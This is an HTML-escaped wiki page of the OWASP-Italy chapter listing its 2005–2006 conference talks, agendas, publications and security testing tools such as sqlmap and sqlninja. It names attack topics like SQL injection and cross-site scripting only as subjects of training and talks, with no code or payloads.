[[Image:OWASP-Italy_at_SMAU06_2.JPG]]&lt;br /&gt;
Luca, Carlo, Alberto, Antonio, Stefano &amp;lt;br&amp;gt;&lt;br /&gt;
Matteo, Paolo, Giorgio&lt;br /&gt;
&lt;br /&gt;
=== September 29th, 2006 - OpenExp 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
September 30th, at 10:45 Antonio Parata (S4tan) will speak about SQL Injection: techniques, tools and practical examples.&lt;br /&gt;
&lt;br /&gt;
Abstract: Antonio will introduce some basic concepts about software security. &lt;br /&gt;
It will be shown how SQL Inference works on PHP/MySql platform and presented an open source tool to support the testing. Finally will be listed some advises to avoid common bugs.&lt;br /&gt;
http://www.openexp.it/&lt;br /&gt;
&lt;br /&gt;
OWASP-Italy will have a stand from September 29th to October 1st.&lt;br /&gt;
&lt;br /&gt;
[[Image:Antonio_Matteo_Carlo.JPG]]&lt;br /&gt;
[[Image:Antonio_speech.JPG]]&lt;br /&gt;
[[Image:Carlo.JPG]]&lt;br /&gt;
[[Image:Claudio_Luca.JPG]]&lt;br /&gt;
[[Image:Mayhem_Matteo.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner2.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== June 21th, 2006 - InfoSecurity 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;. The event is organized and managed by the CLUSIT.&lt;br /&gt;
&lt;br /&gt;
Where: Sheraton Roma Hotel - Viale Del Pattinaggio, 100&lt;br /&gt;
When: 10,30 - 17,00&lt;br /&gt;
Who: Matteo Meucci and Alberto Revelli&lt;br /&gt;
Link: http://www.infosecurity.it/Roma/programma.php&lt;br /&gt;
&lt;br /&gt;
Agenda:&lt;br /&gt;
-- I Session --&lt;br /&gt;
Introduction to Web Application Security&lt;br /&gt;
• Which are the risks?&lt;br /&gt;
• Risk assessment of a web application&lt;br /&gt;
• Core pillars of web security&lt;br /&gt;
How to develop secure web applications:&lt;br /&gt;
• Guidelines and case-studies&lt;br /&gt;
&lt;br /&gt;
-- II Session --&lt;br /&gt;
How to realize a security audit of a web application&lt;br /&gt;
• The methodology OWASP Penetration Testing&lt;br /&gt;
• The tools: OWASP WebScarab&lt;br /&gt;
• Hands-on web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
• Advanced SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2006 - OWASP-Boston, Microsoft ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Jim Weiler (OWASP-Boston Chair), Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting of march.&lt;br /&gt;
[http://www.owasp.org/index.php/Boston More info here]&lt;br /&gt;
&lt;br /&gt;
=== November 5th, 2005 - IDC - European Banking Forum ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we have had a great speech at the IDC European IT Banking Forum 2005 (18 Nov 2005). http://www.idc.com/italy/events/banking05/banking05_agenda.jsp&lt;br /&gt;
Agenda:&lt;br /&gt;
* New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
* Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy.&lt;br /&gt;
&lt;br /&gt;
You can download the report [http://cdn.idc.com/italy/downloads/report_banking05_eng.pdf here].&lt;br /&gt;
&lt;br /&gt;
You can download the Case-Study of a vulnerable Home Banking Web Application [http://www.owasp.org/docroot/owasp/misc/IDC_BankingForum05v1.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== October 5th, 2005 - OWASP-Italy@SMAU2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
SMAU is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy.&lt;br /&gt;
Alberto Revelli (our Technical Director) and Matteo Meucci have conducted a seminar talking about Web Application Security.&lt;br /&gt;
Alberto has presented his new project: [http://sqlninja.sourceforge.net sqlninja]. Very cool!!&lt;br /&gt;
&lt;br /&gt;
http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili&lt;br /&gt;
&lt;br /&gt;
=== May 25th, 2005 - ISACA Rome 2nd meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
May 25th we'll be in ISACA Rome to present OWASP WebGoat and a real case of a Web Application Vulnerability.&lt;br /&gt;
Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.30 Registration&lt;br /&gt;
14.45 Matteo Meucci - Web Application Security Phase II&lt;br /&gt;
- OWASP WebScarab and PenTest Checklist&lt;br /&gt;
* A case-study of a Web Application Vulnerability: MMS Spoofing&lt;br /&gt;
--- Web Application analysis&lt;br /&gt;
--- Authentication and Billing of the MMS service&lt;br /&gt;
--- Vulnerabilities&lt;br /&gt;
--- Attack Analysis&lt;br /&gt;
* Learning the most common web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
--- Http Basics&lt;br /&gt;
--- HTML Clues&lt;br /&gt;
--- Hidden Field Tampering&lt;br /&gt;
--- How to spoof a Session Cookie&lt;br /&gt;
--- Stored Cross Site Scripting&lt;br /&gt;
--- Command Injection&lt;br /&gt;
--- SQL Injection&lt;br /&gt;
--- Fail Open Authentication&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050525/OWASP.zip here].&lt;br /&gt;
&lt;br /&gt;
=== May 18th, 2005 - Workshop on Computer Crime 2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
May 18th, 2005 OWASP-Italy is invited to present OWASP Top 10 to the &amp;quot;Workshop on Computer Crime 2005&amp;quot; titled:&lt;br /&gt;
&amp;quot;EVOLUZIONI NORMATIVE E RECENTI PROBLEMATICHE DI SICUREZZA&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The meeting is held at: Sala delle conferenze dell'Istituto Centrale della Banche Popolari Italiane Via Verziere, 11&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.owasp.org/images/a/aa/Top10-ComputerCrimes.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== March 31th, 2005 - ISACA Rome meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March 31th we'll be in ISACA Rome to present OWASP and the Web Application Security. Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.15 Registration&lt;br /&gt;
14.30 Matteo Meucci - Web Application Security&lt;br /&gt;
- OWASP Guide: how to build secure web application&lt;br /&gt;
- How to test your Web Application: WebScarab and the WebApp PenTest Checklist&lt;br /&gt;
- How to learn the most common web application vulnerability: WebGoat&lt;br /&gt;
- The Top Ten WebApp vulnerabilities&lt;br /&gt;
- Common error on developing Web Application:&lt;br /&gt;
Authentication mechanisms not &amp;quot;secure&amp;quot;&lt;br /&gt;
Buffer Overflow and crash of the service&lt;br /&gt;
Thief of identity: Cross Site Scripting&lt;br /&gt;
Manipulation of company data: SQL Injection&lt;br /&gt;
Reserved information: misconfiguration&lt;br /&gt;
Bad session management and thief of identity&lt;br /&gt;
- OWASP-Italy: projects and next challenges&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
http://www.isacaroma.it/html/GiornateDiStudio.html&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050331/meucci.zip here].&lt;br /&gt;
&lt;br /&gt;
=== March 21th, 2005 - OWASP-Italy conducts a seminar in AlmaWeb ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March, the 21th OWASP-Italy has been invited at the University of Bologna to conduct a seminar regards to [http://www.almaweb.unibo.it/830.dyn Master in Management and Information Technology] titled “Web Application Security and OWASP”. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
- OWASP &amp;amp; Web Application Security&lt;br /&gt;
- Common Web Application Vulnerabilities&lt;br /&gt;
- A real case of web application vulnerability: MMS Spoofing&amp;amp;Billing&lt;br /&gt;
- Training: WebGoat&lt;br /&gt;
&lt;br /&gt;
== Publications ==&lt;br /&gt;
&lt;br /&gt;
=== October, 2006 ISACA Roma interviews OWASP-Italy ===&lt;br /&gt;
----&lt;br /&gt;
After the speeches that OWASP-Italy has done at [http://www.smau.it/catnews.asp?l=2&amp;amp;codcat=385 SMAU E-Academy 2006], ISACA Roma has interviewed some of the people of the Italian chapter. Follow the links for the full interviews (in italian):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli ]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/322 Stefano Di Paola &amp;amp; Giorgio Fedon]]&lt;br /&gt;
&lt;br /&gt;
=== Aug, 2006 - Article on Banca Finanza magazine ===&lt;br /&gt;
----&lt;br /&gt;
Banca Finanza, the italian magazine about finance and banking, has interviewed Raoul Chiesa talking about the new risks for the on-line banking security. Raoul speaks about OWASP and web application security [[Media:042006BF.pdf]]&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Quaderno CLUSIT ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but it will be public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Paper on SQL Injection and Inference on PHP/MySQLInference ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Antonio &amp;quot;s4tan&amp;quot; Parata has published an article about SQL Injection based on Inference for testing web application on PHP/MySQL platform.&lt;br /&gt;
[http://www.ictsc.it/papers/sqlInferenceOnMySql.html Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== May, 2006 - Published an article about OWASP and Top-10 Vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Luca Carettoni has published the article &amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;. [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== June, 2005 - OWASP Pen Test Checklist v 1.1 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Massimiliano Graziani we have translated in italian the &amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
=== May, 2005 - Isaca Roma Newsletter about OWASP-Italy ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ISACA Roma Newsletter has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published &amp;quot;MMS Spoofing&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
Jim Hewitt, CISSP PMP working at CGI-AMS, affirms (slide#78):&lt;br /&gt;
&amp;quot;Very interesting analysis of spoofed cell phone messaging and fraudulent billing&amp;quot;. See:&lt;br /&gt;
www.techvalleynyissa.org/Resources/2005_07_WebApplicationSecurity.ppt&lt;br /&gt;
&lt;br /&gt;
=== April, 2005 - Published an article on ICT Security magazine ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
=== March, 2005 - OWASP Top-10 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Tools &amp;amp; Research ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July, 2006 - Sqlmap v0.0.1 ===&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci have released a second version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://sqlmap.sourceforge.net/ Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
=== September, 2006 - Wisec Project ===&lt;br /&gt;
&lt;br /&gt;
Stefano Di Paola is developing Wisec - The Wiki Security Project [http://www.wisec.it Here] you can accesses the project.&lt;br /&gt;
&lt;br /&gt;
=== July, 2006 - Sqlmap v0.0.1 ===&lt;br /&gt;
&lt;br /&gt;
Daniele Bellucci has developed a first version of the tool &amp;quot;sqlmap&amp;quot; for Automatic Blind SQL Injection. [http://www.linux.it/~belch/?p=17 Here] you can download the tool&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Sponsor ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP-Italy}}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	</feed>